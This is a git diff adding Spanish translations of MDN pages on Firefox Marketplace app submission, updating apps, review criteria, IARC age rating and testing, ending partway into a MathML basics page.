+ <dt><a href="/en-US/Marketplace/Publishing/Submit/Edit_other_localizations">Step 9 - Edit other localization listings (optional)</a></dt>
+ <dd>On the left hand menu click <strong>Edit Listing</strong> and modify the app URL, description, and categories for any of the app's localizations or add details for any other locale supported by Firefox Marketplace.</dd>
+</dl>
+
+<p>Your app is now in the review queue. You can monitor its progress through the review process by clicking <strong>Status and Version</strong> on the left hand menu. Remember that if your app makes use of in-app payments you will need to code in the API Key and submit an update before the app can be published.</p>
+
+<h2 id="Flow_chart">Flow chart</h2>
+
+<p><img alt="Flow chart showing the app submission process" src="https://mdn.mozillademos.org/files/8137/Submission%20Process%20v4.png" style="height: 2834px; width: 1260px;"></p>
+
+<h2 id="What_next">What next?</h2>
+
+<p>Having completed your app submission your might want to:</p>
+
+<ul>
+ <li><a href="https://marketplace.firefox.com/developers/support">get support</a></li>
+ <li>get news and updates from:
+  <ul>
+   <li><a href="https://hacks.mozilla.org/">the Hacks blog</a></li>
+   <li><a href="https://www.youtube.com/user/mozhacks">the Hacks video channel on YouTube</a></li>
+   <li><a href="https://twitter.com/mozhacks">the Hacks twitter feed</a></li>
+   <li><a class="external external-icon" href="https://marketplace.firefox.com/developers/#newsletter-signup">the Apps &amp; Hacks newsletter</a></li>
+  </ul>
+ </li>
+ <li><a href="https://wiki.mozilla.org/Marketplace/Contributing/Apps">get involved with Marketplace</a></li>
+</ul>
diff --git a/files/es/mozilla/marketplace/publishing/updating_apps/index.html b/files/es/mozilla/marketplace/publishing/updating_apps/index.html
new file mode 100644
index 0000000000..f75be357b6
--- /dev/null
+++ b/files/es/mozilla/marketplace/publishing/updating_apps/index.html
@@ -0,0 +1,24 @@
+---
+title: Actualización de aplicaciones
+slug: Mozilla/Marketplace/Publishing/Updating_apps
+translation_of: Archive/Mozilla/Marketplace/Publishing/Updating_apps
+---
+<div class="note">
+ <p><strong>Nota:</strong> Si cambias el nombre de tu aplicacion despues de que haya sido aprobada por el Marketplace, tendrás que volver a enviarla para que sea aprobada.</p>
+</div>
+<h2 id="Actualización_de_aplicaciones_alojadas">Actualización de aplicaciones alojadas</h2>
+<p>Una aplicación respeta las reglas habituales de almacenamiento en caché y, tal vez en ocasiones, utilice mecanismos más avanzados para una mejora en el inicio, como <a href="/es/docs/Recursos_offline_en_firefox">HTML5 AppCache</a>. Una vez dicho esto, no hay nada especial a tener en cuenta cuando actualicemos los recursos normales que utiliza una aplicación.</p>
+<p>Sin embargo, las aplicaciones de código abierto son diferentes por el modo de manejar el manifiesto (<em>manifest</em>). Podría ser que ciertos cambios en el manifiesto requieran aprobación del usuario. Dependiendo de la implementación del tiempo de ejecución de la Web, puede resultar confuso si ha habido alguna actualización o no.</p>
+<p>Una forma sencilla de manejar este asunto consiste en añadir un campo <code>version</code> en el manifiesto de la aplicación. Más adelante podrás comprobar la versión examinando el valor de retorno de la función <a href="/en-US/docs/Web/API/Apps.getInstalled"><code>navigator.mozApps.getInstalled()</code></a>. Si la versión que el usuario tiene instalada no está actualizada, podrás lanzar una actualización utilizando <a href="/en-US/docs/Web/API/Apps.install"><code>navigator.mozApps.install()</code></a>.</p>
+<p>El tiempo de ejecución de la Web no utiliza el valor <code>version</code>, de modo que puedes utilizar cualquier esquema de versión que desees.</p>
+<p>Ten también en cuenta que se detectarán los cambios que hagas a un manifest que provoquen errores u otros daños si subes el manifest a Firefox Marketplace. Aquellos errores graves provocarán que se la aplicación desaparezca del listado. Los errores menos graves marcarán la aplicación para que sea revisada de nuevo.</p>
+<h2 id="Actualización_de_aplicaciones_empaquetadas">Actualización de aplicaciones empaquetadas</h2>
+<p>Las <a href="/es/docs/Web/Apps/Developing/Packaged_apps/Packaged_apps">aplicaciones empaquetadas</a> tienen un proceso de actualización diferente al de las aplicaciones alojadas. Para actualizar una aplicación empaquetada, debes subir una nueva versión del archivo zip de la aplicación a Firefox Marketplace. Entonces, la aplicación actualizada se revisa y se publica en Marketplace. Este proceso lanza una actualización en el teléfono Firefox OS. El usario del teléfono también puede solicitar una actualización utilizando la aplicación de Configuración.</p>
+<p>Si quieres más detalles sobre el proceso de actualización de una aplicación empaquetada, continúa leyendo.</p>
+<h3 id="Más_detalles_sobre_la_actualización_de_aplicaciones_empaquetadas">Más detalles sobre la actualización de aplicaciones empaquetadas</h3>
+<p>Aquí tienes más detalles sobre el proceso de actualización de las aplicaciones empaquetadas. Puede que necesites esta información si vas a implementar un mercado de aplicaciones.</p>
+<ul>
+ <li>Cuando la aplicación empaquetada actualizada se publica, el <a href="/es/docs/Web/Apps/Developing/Packaged_apps/Packaged_apps#Aplicaciones_empaquetadas_de_la_tienda_de_Firefox_(Firefox_Marketplace).">mini-manifiesto</a> <em>(mini-manifest</em>) se actualiza para conducir al archivo zip actualizado (el mini-manifiesto no forma parte del manifiesto principal de la aplicación). El encabezamiento <code>ETag</code> header se modifica, y esto lanza una actualización en el teléfono Firefox OS.</li>
+ <li>En el teléfono, Firefox OS hace, una vez al día, una comprobación buscando cambios en una aplicación. Para esto, comprueba la URL del mini-manifiesto. Luego, comprueba la URL en el campo <code>package_path</code> en el mini-manifiesto. Este proceso se realiza utilizando el método <code>checkForUpdate()</code> en el objeto <a href="/en-US/docs/Web/API/App"><code>App</code></a>. Cuando la cabecera <code>ETag</code> se modifica, sabe que la aplicación ha sido actualizada. Después comprueba si el archivo zip ha cambiado.</li>
+ <li>Firefox OS busca actualizaciones de aplicaciones por tandas.</li>
+</ul>
diff --git a/files/es/mozilla/marketplace/submission/index.html b/files/es/mozilla/marketplace/submission/index.html
new file mode 100644
index 0000000000..1c01f1e00d
--- /dev/null
+++ b/files/es/mozilla/marketplace/submission/index.html
@@ -0,0 +1,9 @@
+---
+title: Submission
+slug: Mozilla/Marketplace/Submission
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace/Submission
+---
+<p>Marketplace submission</p>
diff --git a/files/es/mozilla/marketplace/submission/marketplace_review_criteria/index.html b/files/es/mozilla/marketplace/submission/marketplace_review_criteria/index.html
new file mode 100644
index 0000000000..f33f1e743a
--- /dev/null
+++ b/files/es/mozilla/marketplace/submission/marketplace_review_criteria/index.html
@@ -0,0 +1,82 @@
+---
+title: Marketplace review criteria
+slug: Mozilla/Marketplace/Submission/Marketplace_review_criteria
+tags:
+  - test
+translation_of: Archive/Mozilla/Marketplace/Publishing/Marketplace_review_criteria
+---
+<div class="summary">
+ <p>Este artículo describe el conjunto de requerimientos que una aplicación debe cumplir para ser distribuida a través de Firefox Marketplace. Los requerimientos están diseñados para equilibrar las necesidades entre desarrolladores y usuarios de aplicaciones de Firefox Marketplace. Los desarrolladores persiguen requerimientos equitativos, consistentes y no draconianos que puedan ser confiables para así construir un negocio sobre ello. Por otro lado, los usuarios necesitan asegurarse que las aplicaciones sean seguras, que funcionarán en su dispositivo, y que harán lo que indica que harán. <span style="line-height: 1.5;">Los requerimientos que se mencionan a continuación, aspiran un equilibro entre estas necesidades.</span></p>
+</div>
+<p>Aquí se mencionan las expectativas de Mozilla sobre lo que una reseña de aplicación es y no es:</p>
+<ul>
+ <li>Criterios serán aplicados de una manera justa, compasiva y consistente. El proceso de revisión de una aplicación no tiene la intencionalidad de ser una barrera sino, por el contrario, ser un punto de confianza que provea retroalimentación para ayudar a los desarrolladores a ser más exitosos.</li>
+ <li>¡Los revisores no son el equipo de aseguramiento de la calidad! Durante el proceso de revisión, alguien observará el manifiesto de la aplicación y se detendrá unos minutos probando la aplicación, tal como lo haría cualquier usuario corriente.</li>
+ <li>Si la revisión de una aplicación falla, se le entregará al desarrollador una explicación detallada de los problemas encontrados, pasos para reproducirlos, y si fuese posible, el revisor podría orientar al desarrollador en la dirección correcta al proporcionar enlaces a documentación técnica relevante o hacer recomendaciones sobre qué cambios necesitan ser hechos.</li>
+ <li>Los revisores no juzgan sobre cómo una aplicación luce, solo lo harán en cómo una aplicación trabaja. Por ejemplo, una aplicación con un párrafo de letras rojas sobre un fondo naranja no sería rechazado solo por es feo, pero podría ser rechazado si no es legible.</li>
+ <li>Nosotros siempre le damos a los desarrolladores el beneficio de la duda. Si existiese la inseguridad sobre si una aplicación será rechazada, los revisores realizarán preguntas <em>antes</em> de registrar el rechazo. Las aplicaciones no serán (con conocimiento de causa) rechazadas solo por problemas en la plataforma que están fuera del control de los desarrolladores; sin embargo, podremos retener la aprobación hasta hacer correr la aplicación.</li>
+</ul>
+<h2 id="Seguridad">Seguridad</h2>
+<p>Todos los detalles sobre la arquitectura de seguridad de las aplicaciones está disponible aquí: <a href="https://wiki.mozilla.org/Apps/Security">https://wiki.mozilla.org/Apps/Security</a></p>
+<ul>
+ <li>El manifiesto de la aplicación debe encontrarse en el mismo sitio donde está la aplicación.</li>
+ <li>El manifiesto de la aplicación cumplir con el encabezado <code>Content-Type</code> de <code>application/x-web-app-manifest+json</code>.</li>
+ <li>Las aplicaciones no deberían usar redireccionamientos o iframes para cargar contenido que el desarrollador no está autorizado a usar.</li>
+ <li>Requerimientos de privilegios deberán estar especificados en el manifiesto de la aplicación con una descripción del por qué los privilegios son necesarios.</li>
+</ul>
+<h2 id="Privacidad">Privacidad</h2>
+<ul>
+ <li>El desarrollador debe incluir un enlace a las políticas de privacidad durante su aplicación, pero no hay requisitos sobre el formato y contenido de la misma. Siéntase libre en usar nuestra <a href="https://github.com/flamsmark/privacy-policy-template">plantilla de políticas de privacidad</a>. Además, eche un vistazo a nuestra <a href="/en-US/docs/Privacy_policies">pautas de políticas de privacidad</a>.</li>
+</ul>
+<h2 id="Contenido">Contenido</h2>
+<ul>
+ <li>Cualquier aplicación que viole nuestras Pautas de Contenido siguientes, no está permitida. Si usted piensa que tiene una excepción, por favor pregunte al equipo revisor para mayor clarificación, aún si la aplicación no está lista para subirla. Nosotros queremos ayudarle a estar en el camino correcto, más que invertir tiempo en contenido que será rechazado.</li>
+ <li>Comenzando en enero de 2014, todas las aplicaciones deberán recibir una clasificación del International Age Rating Coalition (IARC).  Para obtener esta clasificación, nosotros le dirigiremos a un breve cuestionario durante el proceso de admisión, y usted recibirá la clasificación de forma inmediata. Más información acerca de este proceso de clasificación, está disponible <a href="https://developer.mozilla.org/en-US/Marketplace/Submission/Rating_Your_Content">aquí</a>.</li>
+ <li>Pantallas y descripciones presentadas a Firefox Marketplace deben representar con exactitud la aplicación.</li>
+ <li>En el manifiesto de la aplicación, el <a href="/en-US/docs/Web/Apps/Manifest#locales"><code>locale</code> keys</a> debe coincidir con la localización que su aplicación soporta. Al proveer una llave <code>locale</code> en polaco, los usuarios esperarán que su aplicación esté disponible en ese idioma.</li>
+</ul>
+<h3 id="Pautas_de_contenido"><strong>Pautas de contenido</strong></h3>
+<p>Esta lista describe los tipos de contenidos que son inapropiados para Firefox Marketplace. Esta lista es ilustrativa, no definitiva, y puede ser actualizada. Si una aplicación se encuentra que está violando el contenido de estas pautas, Mozilla tiene el derecho de remover inmediatamente la aplicación del Firefox Marketplace.</p>
+<ul>
+ <li>Ningún material pornográfico obsceno, o imágenes que representen sexualidad o violencia.</li>
+ <li>Ningún contenido que infrinja los derechos de cualquier persona, incluida la propiedad intelectual, derecho de propiedad u otros derechos de privacidad o publicidad.</li>
+ <li>Ningún contenido que esté diseñado para dañar a Mozilla o a los usuarios (como código malicioso, virus, spyware o malware).</li>
+ <li>Ningún contenido que sea ilegal o promueva actividades ilegales.</li>
+ <li>Ningún contenido que sea falso, engañoso, fraudulento o esté diseñado para realizar phishing o robo de identidad.</li>
+ <li>Ningún contenido que promueva la adicción por el juego y las apuestas.</li>
+ <li>Ningún contenido que se dedique a la publicidad de productos o servicios ilegales.</li>
+ <li>Ningún contenido que explote niños.</li>
+ <li>Ningún contenido que degrade, intimide e incite a la violencia, o aliente a la acción perjudicial en contra de alguien o grupo basado en la edad, género, raza o etnia, nacionalidad, religión, orientación sexual, discapacidad, religión, ubicación geográfica u otra categoría protegida o que constituya al discurso del odio.</li>
+ <li>Ningún contenido que engañe a un usuario para hacer una compra sin su consentimiento.</li>
+</ul>
+<h2 id="Funcionalidad">Funcionalidad</h2>
+<ul>
+ <li>El revisor debe ser capaz de ejecutar las características principales de la aplicación. Defectos estéticos y menores serán reportados al desarrollador, pero no impedirán de que la aplicación sea aprobada.</li>
+ <li>La aplicación no debe comprometer el rendimiento del sistema o su estabilidad.</li>
+</ul>
+<h2 id="Usabilidad">Usabilidad</h2>
+<ul>
+ <li>El desarrollador debe hacer un intento razonable de optimizar el diseño de la aplicación para la plataforma a la que está destinada. El intento de este requerimiento es para detectar fallos, tales como:
+  <ul>
+   <li>Una aplicación presentada para plataformas móviles que está obviamente en un sitio de escritorio.</li>
+   <li>Una aplicación que muy claramente no se ajusta a todo el espacio de pantalla disponible (imagine una aplicación con una resolución de 320x480 que solo cubre la esquina superior en una tableta, con el resto de la pantalla en blanco. ¡Esta seguramente no es la intención original del desarrollador!)</li>
+  </ul>
+ </li>
+ <li>La aplicación debe implementar su propio método de navegación y no depender del menú del navegador o los botones de retroceso del hardware mismo, que no están presentes en todos los dispositivos.
+  <ul>
+   <li>Por ejemplo, si los revisores navegan por algún lado con la aplicación y ésta no tiene la capacidad de retroceder. Esto no significa que una aplicación debe implementar una barra de botones a las aplicaciones nativas.</li>
+   <li>Nota: un “contenedor” Gaia para contenido web obsoleto está en desarrollo: <a href="https://github.com/mozilla-b2g/gaia/issues/2557">https://github.com/mozilla-b2g/gaia/issues/2557</a></li>
+  </ul>
+ </li>
+ <li>Elementos de navegación, tales como botones y enlaces, deben ser fáciles de hacer clic o presionar.</li>
+</ul>
+<h2 id="Políticas_para_listas_de_bloqueo">Políticas para listas de bloqueo</h2>
+<p>Esperamos que nunca tengamos que usarlas, pero nos reservamos el derecho de remover ("blocklist") cualquier aplicación publicada que posteriormente se encuentre que viola cualquier requerimiento de seguridad, privacidad o contenido, o aplicaciones que seriamente degraden el sistema o el rendimiento de la red. Desarrolladores serán informados de la situación antes de que su aplicación esté en la lista de bloqueo, se asumirá que es un buen ciudadano a menos que encontremos evidencias que demuestren lo contrario y recibirá completa asistencia del equipo revisor de aplicaciones para comunicar lo que está pasando y sea así resulto el problema. Ejemplos específicos de situaciones donde listas de bloqueo se justifican, incluyen:</p>
+<ul>
+ <li>Phishing</li>
+ <li>Spamming</li>
+ <li>Cambiar el contenido de Puppy Pictures v1.0 a Brutal Violence v1.0 (sin actualizar la clasificación, cuando esta característica es implementada)</li>
+ <li>Mal comportamiento de una aplicación para un gran porcentaje de usuarios — disminuyendo el rendimiento del teléfono, causando reinicios, causando perdida de información, etc. donde usuarios no puedan indicar que es debido a la aplicación y donde éste no sea resuelto al reiniciar el dispositivo.</li>
+ <li>Una aplicación siendo usada para ataques a la red, tales como denegación de servicio (DDOS) distribuido.</li>
+ <li>(inserte una trama de película aquí)</li>
+</ul>
diff --git a/files/es/mozilla/marketplace/submission/rating_your_content/index.html b/files/es/mozilla/marketplace/submission/rating_your_content/index.html
new file mode 100644
index 0000000000..ad57d6ee06
--- /dev/null
+++ b/files/es/mozilla/marketplace/submission/rating_your_content/index.html
@@ -0,0 +1,118 @@
+---
+title: Obtener una clasificación para tu aplicación
+slug: Mozilla/Marketplace/Submission/Rating_Your_Content
+translation_of: Archive/Mozilla/Marketplace/Publishing/Submit/Rating_Your_Content
+---
+<div class="summary">
+<p>Mozilla se ha aliado con la <a href="http://globalratings.com">International Age Rating Coalition</a> (IARC) para incluir la clasificación de contenido por edades en todas las aplicaciones. Porque Mozilla se preocupa por los usuarios y cree que deberían tener la oportunidad de decidir qué contenido es apropiado para ellos, desde el 15 de Abril de 2014, todas las aplicaciones del Firefox Marketplace tendrán que tener una clasificación IARC. Aunque amamos todas nuestras aplicaciones, nuestro compromiso con esta iniciativa requiere que cualquier aplicación o juego que no tenga esta clasificación, sea eliminado después de la fecha límite del 15 de Abril de 2014. La IARC dispone de una herramienta gratuita para crear tu clasificación.</p>
+</div>
+
+<h2 id="Sobre_la_herramienta_de_clasificación_de_la_IARC">Sobre la herramienta de clasificación de la IARC</h2>
+
+<p>IARC, un esfuerzo colaborativo entre varias plataformas internacionales de clasificación, ha introducido una herramienta de de clasificación como solución para asignar clasificación de contenido de manera global a juegos y aplicaciones.<br>
+ Rellenando un simple formulario, puedes recibir una clasificación instantánea para todas las plataformas participantes. Esto no solo ayuda a educar a los usuarios acerca del contenido, sino que reduce dramáticamente los costes y complicaciones de obtener la clasificación en varias plataformas de manera individual.</p>
+
+<h2 id="Sistemas_de_clasificación_internacionales_soportados">Sistemas de clasificación internacionales soportados</h2>
+
+<p>Usando un asistente de clasificacion, se generan las clasificaciones para multiples sistemas, países y regiones.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Sistema de clasificación</th>
+   <th scope="col">Países soportados</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="http://culturadigital.br/classind/">Classificação Indicativa </a></td>
+   <td>Brasil</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.esrb.org/">ESRB</a></td>
+   <td>Canada, México, Estados Unidos</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.pegi.info">PEGI</a></td>
+   <td>Austria, Dinamarca, Hungría, Letonia, Noruega, Eslovenia, Bélgica, Estonia, Islandia, Lituania, Polonia, España, Bulgaria, Finlandia, Irlanda, Luxemburgo, Portugal, Suecia, Chipre, Francia, Israel, Malta, Rumania, Suiza, República Checa, Grecia, Italia, Holanda, Eslovaquia, Reino Unido.</td>
+  </tr>
+  <tr>
+   <td><a href="http://usk.de/">USK</a></td>
+   <td>Alemania</td>
+  </tr>
+  <tr>
+   <td><a href="https://www.globalratings.com/ratings_guide.aspx">Generic</a></td>
+   <td>Usado para todos los demás paises</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_hay_en_una_clasificación_de_contenido">¿Qué hay en una clasificación de contenido?</h2>
+
+<p>El sistema de clasificación le proporciona a los usuarios tres tipos de información:</p>
+
+<ul>
+ <li>La edad mínima recomendada — esto puede variar por país y cultura.</li>
+ <li>Descriptores de contenido — muestra información sobre cualquier contenido que contenga la aplicación que pueda ser de importancia para algunos usuarios. Esto puede incluir información sobre violencia, referencias al uso de alcohol o drogas, elementos de terror, apuestas reales o simuladas, entre otras.</li>
+ <li>Elementos interactivos — muestra información sobre cualquier característica de interacción que contenga la aplicación, tales como compartir información personal, compartir la ubicación, compras en la aplicación, contenido descargable o facilidades para trabajar en red.</li>
+</ul>
+
+<p>El proceso de clasificación es gratuito para los usuarios, solo lleva unos minutos y está integrado con el proceso de envío del Firefox Marketplace y el escritorio de desarrollador. Antes de que se revise una aplicación, debe estar clasificada. Los usuarios ven la clasificación de una aplicación según su región en la página de detalles de la aplicación y pueden ver más información si desean saber más.</p>
+
+<h2 id="Obtener_una_clasificación_de_contenido_para_tu_aplicación">Obtener una clasificación de contenido para tu aplicación</h2>
+
+<p>IARC proporciona una herramienta de clasificación muy sencilla y que para la mayoría de las aplicaciones, debería llevar menos de cinco minutos. En esta sección, vamos a repasar el proceso.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Desafortunadamente, no podemos aceptar clasificaciones de otros sistemas; si tu aplicación tiene una clasificación de otro sistema, sigues necesitando pasar por el proceso de certificación de IARC.</p>
+</div>
+
+<ol>
+ <li>Ingresa en el sitio de desarrolladores de Firefox Marketplace; la herramienta de clasificación solo está visible si accedes como desarrollador.</li>
+ <li>
+  <p>Accede a la herramienta de clasificación IARC durante el proceso de envío:</p>
+
+  <p><img alt="Demonstrates where in the app submission flow where ratings can be entered." src="https://mdn.mozillademos.org/files/6579/submission_flow.png" style="width: 200px; height: 239px; border-width: 1px; border-style: solid;"></p>
+
+  <p>o desde el Escritorio de desarrolladores:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6623/from_nav_bar.png" style="border-width: 1px; border-style: solid; height: 199px; width: 200px;"></p>
+ </li>
+ <li>
+  <p>Comienza el proceso de clasificación:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6583/start_the_rating_process.png" style="width: 600px; height: 242px; border-width: 1px; border-style: solid;"></p>
+
+  <p>o introduce la información para una clasificación existente:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6585/enter_existing_rating_info.png" style="width: 600px; height: 276px; border-width: 1px; border-style: solid;"></p>
+ </li>
+ <li>
+  <p>Rellena el breve cuestionario:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6587/questions.png" style="width: 600px; border-width: 1px; border-style: solid; height: 725px;"></p>
+ </li>
+ <li>
+  <p>Añade información adicional sobre tu aplicación:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6589/additional_info.png" style="width: 589px; height: 637px;"></p>
+ </li>
+ <li>
+  <p>Previsualiza y confirma la información de tu clasificación:</p>
+
+  <p><img alt="" src="https://mdn.mozillademos.org/files/6591/confirm_info.png" style="width: 400px; height: 865px; border-width: 1px; border-style: solid;"></p>
+ </li>
+ <li>
+  <p>Vuelve al escritorio de desarrollador y deberías ver tu información de clasificación. ¡Y ya estás listo!</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Recibirás un correo electrónico con tu certificado de clasificación y código de seguridad. Por favor, conserva una copia para tus archivos.</p>
+</div>
+
+<h2 id="Más_información">Más información</h2>
+
+<p>Si tienes preguntas sobre el proceso de clasificación, cómo responder el cuestionario, o si piensas que tu clasificación es incorrecta, por favor escribe un correo electrónico al equipo de IARC, a <a href="mailto:dev-questions@globalratings.com">dev-questions@globalratings.com</a>. También hay información adicional en la <a href="http://www.globalratings.com">página web de clasificaciones globales.</a></p>
+
+<p>Si tienes alguna otra pregunta, puedes ponerte en contacto con el equipo de revisión de aplicaciones de Mozilla en <a href="https://groups.google.com/forum/#%21forum/mozilla.appreview" title="appreview@lists.mozilla.org">mozilla.appreview</a>.</p>
diff --git a/files/es/mozilla/marketplace/submission/testing_and_troubleshooting/index.html b/files/es/mozilla/marketplace/submission/testing_and_troubleshooting/index.html
new file mode 100644
index 0000000000..5b3d7bf716
--- /dev/null
+++ b/files/es/mozilla/marketplace/submission/testing_and_troubleshooting/index.html
@@ -0,0 +1,36 @@
+---
+title: 'Apps, pruebas y solución de problemas'
+slug: Mozilla/Marketplace/Submission/Testing_and_troubleshooting
+translation_of: >-
+  Archive/Mozilla/Marketplace/Publishing/Policies_and_Guidelines/Testing_and_troubleshooting
+---
+<div class="summary">
+ <p>Este articulo engloba todo lo que se necesita para probar y solucionar los problemas de las apps.</p>
+</div>
+<h2 id="Configura_tu_entorno_de_pruebas">Configura tu entorno de pruebas</h2>
+<p>Hay un número de herramientas que puedes instalar que realizan pruebas de funciones útiles para Firefox OS/open web apps. Te recomendamos al menos instalar las siguientes.</p>
+<ul>
+ <li>Firefox para escritorio. Te recomendamos utilizar una version de pre-lanzamiento para tus pruebas, como lo es <a href="http://aurora.mozilla.org/">Aurora</a> o <a href="http://nightly.mozilla.org/">Nightly</a>.</li>
+ <li>Firefox para Android. Te recomendamos utilizar una version de pre-lanzamiento para tus pruebas, como lo es <a href="http://aurora.mozilla.org/">Aurora</a> o <a href="http://nightly.mozilla.org/">Nightly</a>. Si no tienes un dispositivo Android en físico, puedes usar el <a href="http://developer.android.com/sdk/">emulador Android</a>.</li>
+ <li>El <a href="/en-US/Firefox_OS/Using_the_App_Manager">Firefox OS App Manager</a>. Está construído en una version de escritorio de Firefox 26+ y provée muchas herramientas útiles como depuración de apps y su instalación en emuladores y dispositivos físicos.</li>
+ <li><a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS simulator</a>; este debe ser usado si quieres específicamente hacer pruebas de tus apps en una versión antigua de Firefox OS. Para versiones 1.2 y posteriores, usa el App Manager. Puedes usar el panel de control de simulador para instalar tu aplicación en el simulador.</li>
+</ul>
+<p>Idelamente deberás también tener algún dispositivo para propósitos de pruebas. Para más detalles, mira nuestra <a href="/en-US/docs/Mozilla/Firefox_OS/Developer_phone_guide">guía de desarrollo para celulares</a>.</p>
+<h2 id="Pruebas">Pruebas</h2>
+<p>Incluso a través de las Open Web Apps se usa la misma tecnología métodos de entrega como las páginas web, la experiencia de usuario para las aplicaciónes is diferente dado que el entorno de la aplicación no contiene un navegador ni tampoco una barra de direcciones o un botón de retroceso, y lo celulares con Firefox OS no tendran un botón físico en su hardware como los celulares Android tienen. Estos pasos te ayudarán a asegurarte que te aplicación provée una gran experiencia de usuario.</p>
+<ol>
+ <li>Instala la aplicación. Asegúrate que los íconos se muestran en la ventana de inicio y el nombre de la aplicación no tiene palabras cortadas o escondidas.</li>
+ <li>Inicia la aplicación. Asegúrate que el tamaño de la pantalla y la orientacion son detectadas apropiadamente.</li>
+ <li>Asegúrate de que el usuario vea rápidamente tu aplicación, no tu pantalla de inicio. Recuerda, los usuarios que instalan tu app mediante el Firefox Marketplace ya han estado enterados en las características que ofrece tu aplicación. No hay necesidad de hacerlos brincar a otra pantalla envíandolos a una página de lanzamiento que enlista las características de tu aplicación otra vez. La primer experiencia ideal empieza un una página de inicio o de entrada.</li>
+ <li>Enfócate en las principales caracterísitcas que ofrece tu app. Específicamente presta atención a las opciones de navegación que no tengan opciones para regresar a otra pantalla y contenidos con posibles problemas ascendentes.</li>
+ <li>Asegúrate que los enlaces a contenido exterior a tu aplicación, como los enlaces a otras páginas web o Twitter, se abran en una nueva ventana o marco que le de la opción al usuario la posibilidad de volver a tu aplicación fácilmente.</li>
+ <li>En el navegador de escritorio, usa la <a href="/en-US/docs/Tools/Responsive_Design_View">Vista de Diseño Responsivo</a>  para poder utilizar tu aplicación en diferentes tamaños de pantalla. Te recomendamos utilizar resoluciones desde 320x480 a 1260x800.</li>
+</ol>
+<h2 id="Resolución_de_problemas">Resolución de problemas</h2>
+<ul>
+ <li>Si necesitas ayuda con el desarrollo de app's, el <a href="/en-US/Apps">App Center</a> tiene gran cantidad de información, incluyendo técnicas de desarrollo y diseño, instalación de la app,  APIs soportadas, y más.</li>
+ <li>La <a href="/en-US/Firefox_OS">Firefox OS zone</a> tiene gran cantidad de información sobre la plataforma Firefox OS, por ejemplo la construcción OS ( sistema operativo ), y hacking ( mecanismo de seguridad y vulnerabilidades ) por defecto de las apps.</li>
+ <li>Los detalles de cómo enviar la app al Firefox Marketplace, todo lo que necesitas lo puedes ver en nuestra guía <a href="/en-US/Marketplace/Submission/Submitting_an_app">Submitting an app to the Firefox Marketplace</a>.</li>
+ <li>El <a href="/en-US/docs/Mozilla/Marketplace/FAQ">Marketplace FAQ</a> tiene una gran variedad de preguntas y respuestas frecuentes de como publicar en el Firefox Marketplace.</li>
+ <li>Para cuestiones específicas, no generales, hay disponible una serie de Mozilla <a href="http://www.mozilla.org/about/forums/">Forums</a>, incluyendo grupo de noticias, listas de correos e IRC. Ver los detalles al pie del  <a href="/en-US/Apps">App Center</a>, <a href="/en-US/Firefox_OS">Firefox OS zone</a>, <a href="/en-US/Marketplace">Marketplace zone</a> y landing pages con los sitios más relevantes de este contexto.</li>
+</ul>
diff --git a/files/es/mozilla/mathml_project/basics/index.html b/files/es/mozilla/mathml_project/basics/index.html
new file mode 100644
index 0000000000..2a9031c69d
--- /dev/null
+++ b/files/es/mozilla/mathml_project/basics/index.html
@@ -0,0 +1,821 @@
+---
+title: Bases de MathML
+slug: Mozilla/MathML_Project/Basics
+translation_of: Mozilla/MathML_Project/Basics
+---
+<h2 id="Bases_de_MathML">Bases de MathML</h2>
+<p>Este documento muestra algunas de las construcciones básicas de MathML. Está confeccionado para mostrarse correctamente con la tipografía/fuente Symbol. Puedes ver su fuente. No obstante,  los documentos de MathML tienden a ser verborrágicos y puede ser que te extravíes intentando localizar fragmentos de MathML con la vista usual de código fuente. Se ha hecho esta demo con el fin de ilustrar los siguientes aspectos. Puedes hacer un clic derecho sobre cualquier fragmento matemático de interés a lo largo de este documento. El menú contextual no aparecerá. En realidad, el fragmento matemático hará zoom y, si haces clic una segunda vez, verás el <em>WYSIWYG</em> de lenguaje de marcado de MathML; y, si tu haces clic por tercera vez, el fragmento regresará a su estado original. Este modo de tres estados busca limitar los conflictos con otros agentes que compitan por el mouse.</p>
+<p>Con MathML se puede construir conjuntos tales como (procede a hacer clic sobre cualquiera de estas ecuaciones para probar el zoom) <math> <mrow> <mo>{</mo> <mrow> <mn>0</mn> <mo>,</mo> <mn>1</mn> <mo>,</mo> <mn>2</mn> <mo>,</mo> <mn>3</mn> <mo>,</mo> <mn>4</mn> </mrow> <mo>}</mo> </mrow> </math> o <math> <mrow> <mo>{</mo> <mrow> <mrow> <mo>⌊</mo> <mfrac> <mi>a</mi> <mi>b</mi> </mfrac> <mo>⌋</mo> </mrow> <mo stretchy="true">|</mo> <mrow> <mrow> <msup> <mi>a</mi> <mn>2</mn> </msup> <mo>+</mo> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mo>≤</mo> <mn>3</mn> </mrow> </mrow> <mo>}</mo> </mrow> </math>, escribir el cálculo <math> <mrow> <mfrac> <mrow> <mi>d</mi> <mi>y</mi> </mrow> <mrow> <mi>d</mi> <mi>x</mi> </mrow> </mfrac> <mo>=</mo> <mfrac> <mn>1</mn> <msup> <mi>y</mi> <mn>2</mn> </msup> </mfrac> </mrow> </math>, formar expresiones complejas <math> <mrow> <mrow> <munder> <mo movablelimits="false">lim</mo> <mrow> <mi>n</mi> <mo>→</mo> <mi>N</mi> </mrow> </munder> <msup> <mrow> <mo>(</mo> <mrow> <mn>1</mn> <mo>+</mo> <mfrac> <mn>1</mn> <mi>n</mi> </mfrac> </mrow> <mo>)</mo> </mrow> <mi>n</mi> </msup> </mrow> <mo>−</mo> <msup> <mi>e</mi> <mi>N</mi> </msup> </mrow> </math>, <math> <mrow> <mi>k</mi> <mo>=</mo> <mfrac> <mrow> 